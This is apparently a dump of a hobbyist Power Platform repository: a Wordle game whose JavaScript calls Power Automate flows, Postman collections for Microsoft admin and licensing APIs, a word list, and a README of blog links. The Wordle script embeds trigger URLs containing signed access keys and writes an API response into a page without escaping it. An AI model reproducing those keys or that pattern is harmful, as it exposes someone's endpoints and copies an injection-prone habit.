Power,Logic,Build,Flow,Model,Azure,Forms,Rules,Apps,Tasks,Lists,Excel,Teams,Query,Share,Start,Clear,State,Scale,Watch,Draft,Forge,Fetch,Sense,Scope,Trace,Input,Ideas,Email,Macro,Event,Proof,Admin,Users,Error,Trial,Timer,Match,Tests,Asset,Check,Click,Close,Cycle,Debug,Delay,Drive,Files,Final,Guard,Image,Index,Limit,Login,Merge,Meter,Offer,Order,Pause,Pivot,Query,Quick,Range,Reads,Risky,Route,Scope,Share,Slide,Smart,Sound,Space,Speed,Start,State,Story,Suite,Supply,Swipe,Table,Theme,Think,Title,Touch,Trade,Train,Trial,Value,Vault,Video,View,Voice,Watch,Wheel,White,Whole,Width,Power,David, -------------------------------------------------------------------------------- /Power Automate Artifacts/wordle/powordle.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 40 | 41 | 42 |
43 |

Power Wordle

44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 | 52 |
53 |
54 |
55 |
56 |
57 | 58 |
59 |
60 |
61 |
62 |
63 | 64 |
65 |
66 |
67 |
68 |
69 | 70 |
71 |
72 |
73 |
74 |
75 | 76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 | 86 | 87 | 88 | 89 | 90 |
91 |
92 | 93 |
94 | 95 | 96 |
97 | 254 | 255 | -------------------------------------------------------------------------------- /Power Automate Artifacts/wordle/wordle.js: -------------------------------------------------------------------------------- 1 | ////setup 2 | //get html elements 3 | const bSubmit = document.getElementById("submit"); 4 | const iAllInputs = document.querySelectorAll("input"); 5 | const dBoard = document.getElementById("board"); 6 | const dStatus = document.getElementById("status"); 7 | const bWords = document.getElementById("words"); 8 | const iLoader = document.getElementById("loader") 9 | //intialise variabls 10 | let sGuess=""; 11 | let sStatus=""; 12 | let sPartBoard=""; 13 | let sFullBoard=""; 14 | let i=0; 15 | let bLock=false; 16 | //focus on first charcter 17 | iAllInputs[0].focus(); 18 | //loop over all inputs and set to tab to next 19 | iAllInputs.forEach(input => { 20 | input.addEventListener("keyup", 21 | function(){ 22 | const j=parseInt(input.id); 23 | if(j<5){ 24 | if(!bLock && input.value!=""){ 25 | document.getElementById(j+1).value=""; 26 | document.getElementById(j+1).focus(); 27 | } 28 | } 29 | } 30 | ) 31 | }); 32 | 33 | //date tracker 34 | const today = new Date(); 35 | const sDate=today.getDate()+"/"+(today.getMonth() + 1)+"/"+today.getFullYear(); 36 | console.log(sDate) 37 | if(localStorage.getItem("date")!=sDate){ 38 | //set storage to new game 39 | localStorage.setItem("date", sDate); 40 | localStorage.setItem("partBoard", ""); 41 | localStorage.setItem("i", "0"); 42 | localStorage.setItem("fullBoard", dBoard.innerHTML); 43 | localStorage.setItem("status", ""); 44 | }else{ 45 | //set board to storage 46 | dBoard.innerHTML=localStorage.getItem("fullBoard"); 47 | sPartBoard=localStorage.getItem("partBoard"); 48 | sFullBoard=localStorage.getItem("fullBoard"); 49 | sStatus=localStorage.getItem("status"); 50 | i=JSON.parse(localStorage.getItem("i")); 51 | } 52 | dStatus.innerText=sStatus; 53 | bWords.addEventListener("click", function() { 54 | bSubmit.style="display:none"; 55 | iLoader.style="display:block"; 56 | const data= fetchAPIWords(); 57 | }) 58 | 59 | async function fetchAPIWords() { 60 | try { 61 | const options = { 62 | method:"GET", 63 | } 64 | const response = await fetch("https://prod-23.westus.logic.azure.com:443/workflows/a9bce0768ee9437fb456857ddd7d919b/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=z6Ncm1vss08AJyhKg-A5b7GDJZvYSvdUPz29sLIYt6I&mode=words", options); 65 | const string = await response.text(); 66 | iLoader.style="display:none"; 67 | const newWindow = window.open("", "Words"); 68 | newWindow.document.write("

"+string.replaceAll(",","

")+"

"); 69 | iLoader.style="display:none"; 70 | bSubmit.style="display:block"; 71 | return data; 72 | } catch (error) { 73 | console.error('Error fetching API data:', error); 74 | iLoader.style="display:none"; 75 | bSubmit.style="display:block"; 76 | } 77 | } 78 | 79 | ////submit guess 80 | bSubmit.addEventListener("click", function() { 81 | 82 | //build guess word from inpus 83 | sGuess=""; 84 | sStatus=localStorage.getItem("status"); 85 | iAllInputs.forEach(input => { 86 | sGuess+= input.value; 87 | }); 88 | 89 | if(!bLock && sGuess.length==5 && (sStatus=="" || sStatus=="Not a valid word")){ 90 | iLoader.style="display:block"; 91 | bLock=true; 92 | localStorage.setItem("guess", sGuess); 93 | 94 | //calls flow 95 | fetchAPIData("https://prod-101.westus.logic.azure.com:443/workflows/00427b3c8f084d51be85e4584a4cc753/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=y59HfLgXTLMTqROzQRq0-T2j-hUp7XtxXBjOVW0FAGs",i) 96 | .then(data => { 97 | if(data!=undefined){ 98 | //next row 99 | sStatus=data.status; 100 | 101 | if(sStatus!="Not a valid word" && data.partBoard!=undefined){ 102 | dStatus.innerHTML=sStatus; 103 | //update storage and board 104 | sPartBoard=data.partBoard; 105 | sFullBoard=data.fullBoard; 106 | dBoard.innerHTML=data.fullBoard; 107 | localStorage.setItem("partBoard",sPartBoard); 108 | localStorage.setItem("fullBoard", sFullBoard); 109 | localStorage.setItem("status", sStatus); 110 | iAllInputs.forEach(input => {input.value=""}); 111 | i++; 112 | localStorage.setItem("i", i); 113 | }else{ 114 | dStatus.innerText="Error, please try again"; 115 | } 116 | } 117 | bLock=false; 118 | iLoader.style="display:none"; 119 | bSubmit.style="display:block"; 120 | }) 121 | .catch(error => { 122 | bLock=false; 123 | console.error('Error Get Environments:', error); 124 | iLoader.style="display:none"; 125 | bSubmit.style="display:block"; 126 | }); 127 | }else{ 128 | if(sGuess.length==5){ 129 | alert("Please try again tomorrow"); 130 | }else{ 131 | alert("Please add all 5 characters"); 132 | } 133 | } 134 | }); 135 | 136 | //// http call function 137 | async function fetchAPIData(url,i) { 138 | try { 139 | const options = { 140 | method:"POST", 141 | "body":JSON.stringify({ 142 | "date":sDate, 143 | "row":i, 144 | "guess":sGuess, 145 | "board":sPartBoard 146 | }) 147 | } 148 | const response = await fetch(url, options); 149 | const string = await response.text(); 150 | const data = string === "" ? string : JSON.parse(string) 151 | return data; 152 | } catch (error) { 153 | console.error('Error fetching API data:', error); 154 | } 155 | } -------------------------------------------------------------------------------- /Power Platform APIs/BAP.postman_collection.json: -------------------------------------------------------------------------------- 1 | { 2 | "info": { 3 | "_postman_id": "9f218d3d-5c10-4a48-b0bd-647e18bb5881", 4 | "name": "BAP", 5 | "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json", 6 | "_exporter_id": "17311769" 7 | }, 8 | "item": [ 9 | { 10 | "name": "Tenant Info", 11 | "request": { 12 | "method": "GET", 13 | "header": [], 14 | "url": { 15 | "raw": "https://api.bap.microsoft.com/providers/Microsoft.BusinessAppPlatform/tenant?api-version=2020-08-01", 16 | "protocol": "https", 17 | "host": [ 18 | "api", 19 | "bap", 20 | "microsoft", 21 | "com" 22 | ], 23 | "path": [ 24 | "providers", 25 | "Microsoft.BusinessAppPlatform", 26 | "tenant" 27 | ], 28 | "query": [ 29 | { 30 | "key": "api-version", 31 | "value": "2020-08-01" 32 | } 33 | ] 34 | }, 35 | "description": "Returns current Tenant information" 36 | }, 37 | "response": [] 38 | }, 39 | { 40 | "name": "Tenant Settings", 41 | "request": { 42 | "method": "GET", 43 | "header": [], 44 | "url": { 45 | "raw": "https://api.bap.microsoft.com/providers/Microsoft.BusinessAppPlatform/listTenantSettings?api-version=2021-04-01", 46 | "protocol": "https", 47 | "host": [ 48 | "api", 49 | "bap", 50 | "microsoft", 51 | "com" 52 | ], 53 | "path": [ 54 | "providers", 55 | "Microsoft.BusinessAppPlatform", 56 | "listTenantSettings" 57 | ], 58 | "query": [ 59 | { 60 | "key": "api-version", 61 | "value": "2021-04-01" 62 | } 63 | ] 64 | } 65 | }, 66 | "response": [] 67 | }, 68 | { 69 | "name": "Update Tenant Settings", 70 | "request": { 71 | "method": "POST", 72 | "header": [], 73 | "body": { 74 | "mode": "raw", 75 | "raw": "", 76 | "options": { 77 | "raw": { 78 | "language": "json" 79 | } 80 | } 81 | }, 82 | "url": { 83 | "raw": "https://api.bap.microsoft.com/providers/Microsoft.BusinessAppPlatform/listTenantSettings?api-version=2021-04-01", 84 | "protocol": "https", 85 | "host": [ 86 | "api", 87 | "bap", 88 | "microsoft", 89 | "com" 90 | ], 91 | "path": [ 92 | "providers", 93 | "Microsoft.BusinessAppPlatform", 94 | "listTenantSettings" 95 | ], 96 | "query": [ 97 | { 98 | "key": "api-version", 99 | "value": "2021-04-01" 100 | } 101 | ] 102 | } 103 | }, 104 | "response": [] 105 | }, 106 | { 107 | "name": "Environment List", 108 | "request": { 109 | "method": "GET", 110 | "header": [], 111 | "url": { 112 | "raw": "https://api.bap.microsoft.com/providers/Microsoft.BusinessAppPlatform/scopes/admin/environments?api-version=2021-04-01&$select=location,name,properties.createdBy,properties.createdTime,properties.displayName,properties.environmentSku,properties.provisioningState,properties.retentionPeriod,properties.linkedEnvironmentMetadata,properties.clientUris,properties.states,properties.softDeletedTime,properties.lifecycleOperationsEnforcement,properties.connectedGroups,properties.ongoingOperation,properties.expirationTime,properties.maxAllowedExpirationTime,properties.scheduledLifecycleOperations,properties.governanceConfiguration,properties.protectionStatus,properties/lastActivity/lastActivity/lastActivityTime,properties.parentEnvironmentGroup,properties.runtimeEndpoints,properties.cluster.category,properties.finOpsMetadata&$expand=properties/scheduledLifecycleOperations", 113 | "protocol": "https", 114 | "host": [ 115 | "api", 116 | "bap", 117 | "microsoft", 118 | "com" 119 | ], 120 | "path": [ 121 | "providers", 122 | "Microsoft.BusinessAppPlatform", 123 | "scopes", 124 | "admin", 125 | "environments" 126 | ], 127 | "query": [ 128 | { 129 | "key": "api-version", 130 | "value": "2021-04-01" 131 | }, 132 | { 133 | "key": "$select", 134 | "value": "location,name,properties.createdBy,properties.createdTime,properties.displayName,properties.environmentSku,properties.provisioningState,properties.retentionPeriod,properties.linkedEnvironmentMetadata,properties.clientUris,properties.states,properties.softDeletedTime,properties.lifecycleOperationsEnforcement,properties.connectedGroups,properties.ongoingOperation,properties.expirationTime,properties.maxAllowedExpirationTime,properties.scheduledLifecycleOperations,properties.governanceConfiguration,properties.protectionStatus,properties/lastActivity/lastActivity/lastActivityTime,properties.parentEnvironmentGroup,properties.runtimeEndpoints,properties.cluster.category,properties.finOpsMetadata" 135 | }, 136 | { 137 | "key": "$expand", 138 | "value": "properties/scheduledLifecycleOperations" 139 | } 140 | ] 141 | }, 142 | "description": "Returns list of all environments you have a security role for" 143 | }, 144 | "response": [] 145 | }, 146 | { 147 | "name": "Environment Features", 148 | "request": { 149 | "method": "GET", 150 | "header": [], 151 | "url": { 152 | "raw": "https://api.bap.microsoft.com/providers/Microsoft.BusinessAppPlatform/scopes/admin/environments?api-version=2021-04-01&$expand=properties/copilotPolicies&$filter=properties/linkedEnvironmentMetadata/resourceId eq {{organizationID}}", 153 | "protocol": "https", 154 | "host": [ 155 | "api", 156 | "bap", 157 | "microsoft", 158 | "com" 159 | ], 160 | "path": [ 161 | "providers", 162 | "Microsoft.BusinessAppPlatform", 163 | "scopes", 164 | "admin", 165 | "environments" 166 | ], 167 | "query": [ 168 | { 169 | "key": "api-version", 170 | "value": "2021-04-01" 171 | }, 172 | { 173 | "key": "$expand", 174 | "value": "properties/copilotPolicies" 175 | }, 176 | { 177 | "key": "$filter", 178 | "value": "properties/linkedEnvironmentMetadata/resourceId eq {{organizationID}}" 179 | } 180 | ] 181 | } 182 | }, 183 | "response": [] 184 | }, 185 | { 186 | "name": "D365 Templates", 187 | "request": { 188 | "method": "GET", 189 | "header": [], 190 | "url": { 191 | "raw": "https://api.bap.microsoft.com/providers/Microsoft.BusinessAppPlatform/locations/unitedstates/templates?api-version=2020-05-01", 192 | "protocol": "https", 193 | "host": [ 194 | "api", 195 | "bap", 196 | "microsoft", 197 | "com" 198 | ], 199 | "path": [ 200 | "providers", 201 | "Microsoft.BusinessAppPlatform", 202 | "locations", 203 | "unitedstates", 204 | "templates" 205 | ], 206 | "query": [ 207 | { 208 | "key": "api-version", 209 | "value": "2020-05-01" 210 | } 211 | ] 212 | } 213 | }, 214 | "response": [] 215 | }, 216 | { 217 | "name": "Desktop Connectors", 218 | "request": { 219 | "method": "GET", 220 | "header": [], 221 | "url": { 222 | "raw": "https://api.bap.microsoft.com/providers/PowerPlatform.Governance/v1/connectors?$filter=connectorType+eq+%27DesktopFlow%27", 223 | "protocol": "https", 224 | "host": [ 225 | "api", 226 | "bap", 227 | "microsoft", 228 | "com" 229 | ], 230 | "path": [ 231 | "providers", 232 | "PowerPlatform.Governance", 233 | "v1", 234 | "connectors" 235 | ], 236 | "query": [ 237 | { 238 | "key": "$filter", 239 | "value": "connectorType+eq+%27DesktopFlow%27" 240 | } 241 | ] 242 | } 243 | }, 244 | "response": [] 245 | }, 246 | { 247 | "name": "UnBloackable Connectors", 248 | "request": { 249 | "method": "GET", 250 | "header": [], 251 | "url": { 252 | "raw": "https://api.bap.microsoft.com/providers/PowerPlatform.Governance/v1/connectors/metadata/unblockable", 253 | "protocol": "https", 254 | "host": [ 255 | "api", 256 | "bap", 257 | "microsoft", 258 | "com" 259 | ], 260 | "path": [ 261 | "providers", 262 | "PowerPlatform.Governance", 263 | "v1", 264 | "connectors", 265 | "metadata", 266 | "unblockable" 267 | ] 268 | } 269 | }, 270 | "response": [] 271 | }, 272 | { 273 | "name": "DLP Policies", 274 | "request": { 275 | "method": "GET", 276 | "header": [], 277 | "url": { 278 | "raw": "https://api.bap.microsoft.com/providers/PowerPlatform.Governance/v1/policies?$top=100", 279 | "protocol": "https", 280 | "host": [ 281 | "api", 282 | "bap", 283 | "microsoft", 284 | "com" 285 | ], 286 | "path": [ 287 | "providers", 288 | "PowerPlatform.Governance", 289 | "v1", 290 | "policies" 291 | ], 292 | "query": [ 293 | { 294 | "key": "$top", 295 | "value": "100" 296 | } 297 | ] 298 | } 299 | }, 300 | "response": [] 301 | } 302 | ], 303 | "auth": { 304 | "type": "bearer" 305 | }, 306 | "event": [ 307 | { 308 | "listen": "prerequest", 309 | "script": { 310 | "type": "text/javascript", 311 | "packages": {}, 312 | "exec": [ 313 | "" 314 | ] 315 | } 316 | }, 317 | { 318 | "listen": "test", 319 | "script": { 320 | "type": "text/javascript", 321 | "packages": {}, 322 | "exec": [ 323 | "" 324 | ] 325 | } 326 | } 327 | ], 328 | "variable": [ 329 | { 330 | "key": "organizationID", 331 | "value": "", 332 | "type": "string" 333 | } 334 | ] 335 | } -------------------------------------------------------------------------------- /Power Platform APIs/Power Platform.postman_collection.json: -------------------------------------------------------------------------------- 1 | { 2 | "info": { 3 | "_postman_id": "2d015c95-682e-4d61-9148-907b3ab25565", 4 | "name": "Power Platform", 5 | "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json", 6 | "_exporter_id": "17311769" 7 | }, 8 | "item": [ 9 | { 10 | "name": "Tenant", 11 | "item": [ 12 | { 13 | "name": "Tenant Advisor", 14 | "request": { 15 | "method": "GET", 16 | "header": [], 17 | "url": { 18 | "raw": "https://{{tenantID2}}.tenant.api.powerplatform.com/analytics/advisorRecommendations?api-version=1&source=AdvisorPage&includeMetadata=true&experimentRecommendationTitle=true&includeHints=true&includeTrends=true", 19 | "protocol": "https", 20 | "host": [ 21 | "{{tenantID2}}", 22 | "tenant", 23 | "api", 24 | "powerplatform", 25 | "com" 26 | ], 27 | "path": [ 28 | "analytics", 29 | "advisorRecommendations" 30 | ], 31 | "query": [ 32 | { 33 | "key": "api-version", 34 | "value": "1" 35 | }, 36 | { 37 | "key": "source", 38 | "value": "AdvisorPage" 39 | }, 40 | { 41 | "key": "includeMetadata", 42 | "value": "true" 43 | }, 44 | { 45 | "key": "experimentRecommendationTitle", 46 | "value": "true" 47 | }, 48 | { 49 | "key": "includeHints", 50 | "value": "true" 51 | }, 52 | { 53 | "key": "includeTrends", 54 | "value": "true" 55 | } 56 | ] 57 | } 58 | }, 59 | "response": [] 60 | }, 61 | { 62 | "name": "Gateways", 63 | "request": { 64 | "method": "GET", 65 | "header": [], 66 | "url": { 67 | "raw": "https://{{tenantID2}}.tenant.api.powerplatform.com/gateway/cluster?api-version=1", 68 | "protocol": "https", 69 | "host": [ 70 | "{{tenantID2}}", 71 | "tenant", 72 | "api", 73 | "powerplatform", 74 | "com" 75 | ], 76 | "path": [ 77 | "gateway", 78 | "cluster" 79 | ], 80 | "query": [ 81 | { 82 | "key": "api-version", 83 | "value": "1" 84 | } 85 | ] 86 | } 87 | }, 88 | "response": [] 89 | } 90 | ] 91 | }, 92 | { 93 | "name": "Admin Analytics", 94 | "item": [ 95 | { 96 | "name": "App Diagnostics", 97 | "request": { 98 | "method": "POST", 99 | "header": [], 100 | "body": { 101 | "mode": "raw", 102 | "raw": "{\r\n \"metricName\": \"powerapps.app_launch\",\r\n \"metricType\": \"DailyAvailabilityMetric\",\r\n \"startTime\": \"2025-01-27T11:52:17.634Z\",\r\n \"endTime\": \"2025-02-03T11:52:17.634Z\",\r\n \"resourceId\": \"a4fb0bd2-98e3-4716-bd84-31f00848f686\",\r\n \"limit\": 100\r\n}", 103 | "options": { 104 | "raw": { 105 | "language": "json" 106 | } 107 | } 108 | }, 109 | "url": { 110 | "raw": "https://na.adminanalytics.powerplatform.microsoft.com/api/v1/metrics/diagnosticlogs", 111 | "protocol": "https", 112 | "host": [ 113 | "na", 114 | "adminanalytics", 115 | "powerplatform", 116 | "microsoft", 117 | "com" 118 | ], 119 | "path": [ 120 | "api", 121 | "v1", 122 | "metrics", 123 | "diagnosticlogs" 124 | ] 125 | } 126 | }, 127 | "response": [] 128 | } 129 | ], 130 | "event": [ 131 | { 132 | "listen": "prerequest", 133 | "script": { 134 | "type": "text/javascript", 135 | "packages": {}, 136 | "exec": [ 137 | "" 138 | ] 139 | } 140 | }, 141 | { 142 | "listen": "test", 143 | "script": { 144 | "type": "text/javascript", 145 | "packages": {}, 146 | "exec": [ 147 | "" 148 | ] 149 | } 150 | } 151 | ] 152 | }, 153 | { 154 | "name": "Other", 155 | "item": [ 156 | { 157 | "name": "D365 App List", 158 | "request": { 159 | "method": "GET", 160 | "header": [], 161 | "url": { 162 | "raw": "https://api.admin.powerplatform.microsoft.com/api/AppManagement/TenantProducts?geoType=NA", 163 | "protocol": "https", 164 | "host": [ 165 | "api", 166 | "admin", 167 | "powerplatform", 168 | "microsoft", 169 | "com" 170 | ], 171 | "path": [ 172 | "api", 173 | "AppManagement", 174 | "TenantProducts" 175 | ], 176 | "query": [ 177 | { 178 | "key": "geoType", 179 | "value": "NA" 180 | } 181 | ] 182 | } 183 | }, 184 | "response": [] 185 | }, 186 | { 187 | "name": "Get Licenses", 188 | "request": { 189 | "method": "GET", 190 | "header": [], 191 | "url": { 192 | "raw": "https://licensing.powerplatform.microsoft.com/v0.1-alpha/tenants/{{environmentID}}/CurrencyReports", 193 | "protocol": "https", 194 | "host": [ 195 | "licensing", 196 | "powerplatform", 197 | "microsoft", 198 | "com" 199 | ], 200 | "path": [ 201 | "v0.1-alpha", 202 | "tenants", 203 | "{{environmentID}}", 204 | "CurrencyReports" 205 | ] 206 | } 207 | }, 208 | "response": [] 209 | }, 210 | { 211 | "name": "Licenses by Environment", 212 | "request": { 213 | "method": "GET", 214 | "header": [], 215 | "url": { 216 | "raw": "https://licensing.powerplatform.microsoft.com/v0.1/tenants/{{environmentID}}/allocationsV2/getmany", 217 | "protocol": "https", 218 | "host": [ 219 | "licensing", 220 | "powerplatform", 221 | "microsoft", 222 | "com" 223 | ], 224 | "path": [ 225 | "v0.1", 226 | "tenants", 227 | "{{environmentID}}", 228 | "allocationsV2", 229 | "getmany" 230 | ] 231 | } 232 | }, 233 | "response": [] 234 | }, 235 | { 236 | "name": "Token", 237 | "request": { 238 | "auth": { 239 | "type": "noauth" 240 | }, 241 | "method": "POST", 242 | "header": [], 243 | "body": { 244 | "mode": "urlencoded", 245 | "urlencoded": [ 246 | { 247 | "key": "client_id", 248 | "value": "{{clientID}}", 249 | "type": "text" 250 | }, 251 | { 252 | "key": "client_secret", 253 | "value": "{{secret}}", 254 | "type": "text" 255 | }, 256 | { 257 | "key": "scope", 258 | "value": "{{dataverseURL}}/.default", 259 | "type": "text" 260 | }, 261 | { 262 | "key": "grant_type", 263 | "value": "client_credentials", 264 | "type": "text" 265 | }, 266 | { 267 | "key": "redirect_uri", 268 | "value": "https://oauth.pstmn.io/v1/callback", 269 | "type": "text" 270 | } 271 | ] 272 | }, 273 | "url": { 274 | "raw": "https://login.microsoftonline.com/{{tenantID}}/oauth2/v2.0/token", 275 | "protocol": "https", 276 | "host": [ 277 | "login", 278 | "microsoftonline", 279 | "com" 280 | ], 281 | "path": [ 282 | "{{tenantID}}", 283 | "oauth2", 284 | "v2.0", 285 | "token" 286 | ] 287 | } 288 | }, 289 | "response": [] 290 | }, 291 | { 292 | "name": "exchangeToken", 293 | "request": { 294 | "auth": { 295 | "type": "bearer", 296 | "bearer": [ 297 | { 298 | "key": "token", 299 | "value": "", 300 | "type": "string" 301 | } 302 | ] 303 | }, 304 | "method": "POST", 305 | "header": [], 306 | "body": { 307 | "mode": "raw", 308 | "raw": "{\"audience\":\"https://iacs-us-test.crm.dynamics.com/\",\"tenantId\":\"common\",\"isCaeEnabled\":false,\"aadClientId\":\"a8f7a65c-f5ba-4859-b2d6-df772c264e9d\"}", 309 | "options": { 310 | "raw": { 311 | "language": "json" 312 | } 313 | } 314 | }, 315 | "url": { 316 | "raw": "https://make.powerapps.com/api/exchangeToken", 317 | "protocol": "https", 318 | "host": [ 319 | "make", 320 | "powerapps", 321 | "com" 322 | ], 323 | "path": [ 324 | "api", 325 | "exchangeToken" 326 | ] 327 | } 328 | }, 329 | "response": [] 330 | } 331 | ] 332 | }, 333 | { 334 | "name": "Get Apps I Can Use", 335 | "request": { 336 | "method": "GET", 337 | "header": [], 338 | "url": { 339 | "raw": "https://{{environmentID2}}.environment.api.powerplatform.com/powerapps/apps?api-version=1", 340 | "protocol": "https", 341 | "host": [ 342 | "{{environmentID2}}", 343 | "environment", 344 | "api", 345 | "powerplatform", 346 | "com" 347 | ], 348 | "path": [ 349 | "powerapps", 350 | "apps" 351 | ], 352 | "query": [ 353 | { 354 | "key": "api-version", 355 | "value": "1" 356 | } 357 | ] 358 | } 359 | }, 360 | "response": [] 361 | }, 362 | { 363 | "name": "Get Apps Edit Access Shared With Me", 364 | "request": { 365 | "method": "GET", 366 | "header": [], 367 | "url": { 368 | "raw": "https://{{environmentID2}}.environment.api.powerplatform.com/powerapps/apps?api-version=1&$filter=classification+eq+'SharedWithMeApps'&$expand=permissions($filter=maxAssignedTo('{{entraObjectID}}'))", 369 | "protocol": "https", 370 | "host": [ 371 | "{{environmentID2}}", 372 | "environment", 373 | "api", 374 | "powerplatform", 375 | "com" 376 | ], 377 | "path": [ 378 | "powerapps", 379 | "apps" 380 | ], 381 | "query": [ 382 | { 383 | "key": "api-version", 384 | "value": "1" 385 | }, 386 | { 387 | "key": "$filter", 388 | "value": "classification+eq+'SharedWithMeApps'" 389 | }, 390 | { 391 | "key": "$expand", 392 | "value": "permissions($filter=maxAssignedTo('{{entraObjectID}}'))" 393 | } 394 | ] 395 | } 396 | }, 397 | "response": [] 398 | }, 399 | { 400 | "name": "My Apps", 401 | "request": { 402 | "method": "GET", 403 | "header": [], 404 | "url": { 405 | "raw": "https://{{environmentID2}}.environment.api.powerplatform.com/powerapps/apps?api-version=1&$filter=classification+eq+'EditableApps'+and+environment+eq+'{{environmentID}}&$expand=permissions($filter=maxAssignedTo('{{entraObjectID}}'))", 406 | "protocol": "https", 407 | "host": [ 408 | "{{environmentID2}}", 409 | "environment", 410 | "api", 411 | "powerplatform", 412 | "com" 413 | ], 414 | "path": [ 415 | "powerapps", 416 | "apps" 417 | ], 418 | "query": [ 419 | { 420 | "key": "api-version", 421 | "value": "1" 422 | }, 423 | { 424 | "key": "$filter", 425 | "value": "classification+eq+'EditableApps'+and+environment+eq+'{{environmentID}}" 426 | }, 427 | { 428 | "key": "$expand", 429 | "value": "permissions($filter=maxAssignedTo('{{entraObjectID}}'))" 430 | } 431 | ] 432 | } 433 | }, 434 | "response": [] 435 | }, 436 | { 437 | "name": "My Connections", 438 | "request": { 439 | "method": "GET", 440 | "header": [], 441 | "url": { 442 | "raw": "https://{{environmentID2}}.environment.api.powerplatform.com/connectivity/connections?api-version=1", 443 | "protocol": "https", 444 | "host": [ 445 | "{{environmentID2}}", 446 | "environment", 447 | "api", 448 | "powerplatform", 449 | "com" 450 | ], 451 | "path": [ 452 | "connectivity", 453 | "connections" 454 | ], 455 | "query": [ 456 | { 457 | "key": "$expand", 458 | "value": "permissions($filter=maxAssignedTo('{{entraObjectID}}'))", 459 | "disabled": true 460 | }, 461 | { 462 | "key": "$filter", 463 | "value": "environment+eq+'{{environmentID}}'+and+ApiId+not+in+('shared_logicflows','shared_powerflows','shared_pqogenericconnector')", 464 | "disabled": true 465 | }, 466 | { 467 | "key": "api-version", 468 | "value": "1" 469 | } 470 | ] 471 | } 472 | }, 473 | "response": [] 474 | }, 475 | { 476 | "name": "Share Canvas App", 477 | "request": { 478 | "method": "POST", 479 | "header": [], 480 | "body": { 481 | "mode": "raw", 482 | "raw": "{\r\n \"put\":[\r\n {\r\n \"properties\":{\r\n \"roleName\":\"CanEdit\",\r\n \"principal\":{\r\n \"email\":\"{{email}}\",\r\n \"id\":\"{{entraObjectID}}\",\r\n \"type\":\"{{shareType}}\",\r\n \"tenantId\":null\r\n },\r\n \"NotifyShareTargetOption\":\"DoNotNotify\"\r\n }\r\n }\r\n ],\r\n \"delete\":[],\r\n \"emailCustomizations\":{}\r\n}", 483 | "options": { 484 | "raw": { 485 | "language": "json" 486 | } 487 | } 488 | }, 489 | "url": { 490 | "raw": "https://{{environmentID2}}.environment.api.powerplatform.com/powerapps/apps/{{appID}}/modifyPermissions?%24filter=environment+eq+%27{{environmentID}}%27&api-version=1\n", 491 | "protocol": "https", 492 | "host": [ 493 | "{{environmentID2}}", 494 | "environment", 495 | "api", 496 | "powerplatform", 497 | "com" 498 | ], 499 | "path": [ 500 | "powerapps", 501 | "apps", 502 | "{{appID}}", 503 | "modifyPermissions" 504 | ], 505 | "query": [ 506 | { 507 | "key": "%24filter", 508 | "value": "environment+eq+%27{{environmentID}}%27" 509 | }, 510 | { 511 | "key": "api-version", 512 | "value": "1\n" 513 | } 514 | ] 515 | } 516 | }, 517 | "response": [] 518 | } 519 | ], 520 | "auth": { 521 | "type": "bearer" 522 | }, 523 | "event": [ 524 | { 525 | "listen": "prerequest", 526 | "script": { 527 | "type": "text/javascript", 528 | "packages": {}, 529 | "exec": [ 530 | "" 531 | ] 532 | } 533 | }, 534 | { 535 | "listen": "test", 536 | "script": { 537 | "type": "text/javascript", 538 | "packages": {}, 539 | "exec": [ 540 | "" 541 | ] 542 | } 543 | } 544 | ], 545 | "variable": [ 546 | { 547 | "key": "tenantID2", 548 | "value": "", 549 | "type": "string" 550 | }, 551 | { 552 | "key": "tenantID", 553 | "value": "", 554 | "type": "string" 555 | }, 556 | { 557 | "key": "environmentID2", 558 | "value": "", 559 | "type": "string" 560 | }, 561 | { 562 | "key": "environmentID", 563 | "value": "", 564 | "type": "string" 565 | }, 566 | { 567 | "key": "appID", 568 | "value": "", 569 | "type": "string" 570 | }, 571 | { 572 | "key": "entraObjectID", 573 | "value": "", 574 | "type": "string" 575 | }, 576 | { 577 | "key": "email", 578 | "value": "", 579 | "type": "string" 580 | }, 581 | { 582 | "key": "shareType", 583 | "value": "", 584 | "type": "string" 585 | }, 586 | { 587 | "key": "clientID", 588 | "value": "", 589 | "type": "default" 590 | }, 591 | { 592 | "key": "secret", 593 | "value": "", 594 | "type": "default" 595 | } 596 | ] 597 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Power-Platform 2 | 3 | This repo is a collection of Power Automate and Power App exports avaiable for you to download. They have supporting blogs/articles explaining how to create them. 4 | 5 | All Blogs found here 6 |
ThumbnailTitleRepo
Hacking Excel Files in Power Automate</a>Power-Platform
Making a Power App that makes Flows</a>Power-Platform
How to Create Your Own Form with Power Automate</a>Power-Platform
Creating Snake Game In Power Apps</a>Power-Platform
Cloning A Power Platform Solution</a>Power-Platform
Creating a Turing Complete Game in Power Apps</a>Power-Platform
Creating Wordle in Power Automate</a>Power-Platform
Power Automate - Scripts with App Scripts</a>Power-Platform
Power Apps - VBA Subs and Functions</a>Power-Platform
Power Apps - Making a Captcha</a>Power-Platform
How to - Power Apps Getting Polling Update from File Upload</a>Power-Platform
Using Microsoft Learn API to Validate Power Platform Makers</a>Power-Platform
How to Create Exam Marker with Power Automate and MS Forms</a>Power-Platform
How to update contents of a Zip file with Power Automate</a>Power-Platform
Canyon Escape - a Power Automate Game</a>Power-Platform
Power Apps Cards - How to Make Planning Poker</a>Power-Platform
Power Automate Documentation by GPT</a>Power-Platform
How to - Make a Flow Chart Power App</a>Power-Platform
404 Power App Game Not Found</a>Power-Platform
Power Apps, How many ways to make a Calculator</a>Power-Platform
Flappy App, Why and How to make a game in Power Apps</a>Power-Platform
5 Scripts Every Power Automate Developer Should Know</a>Power-Platform
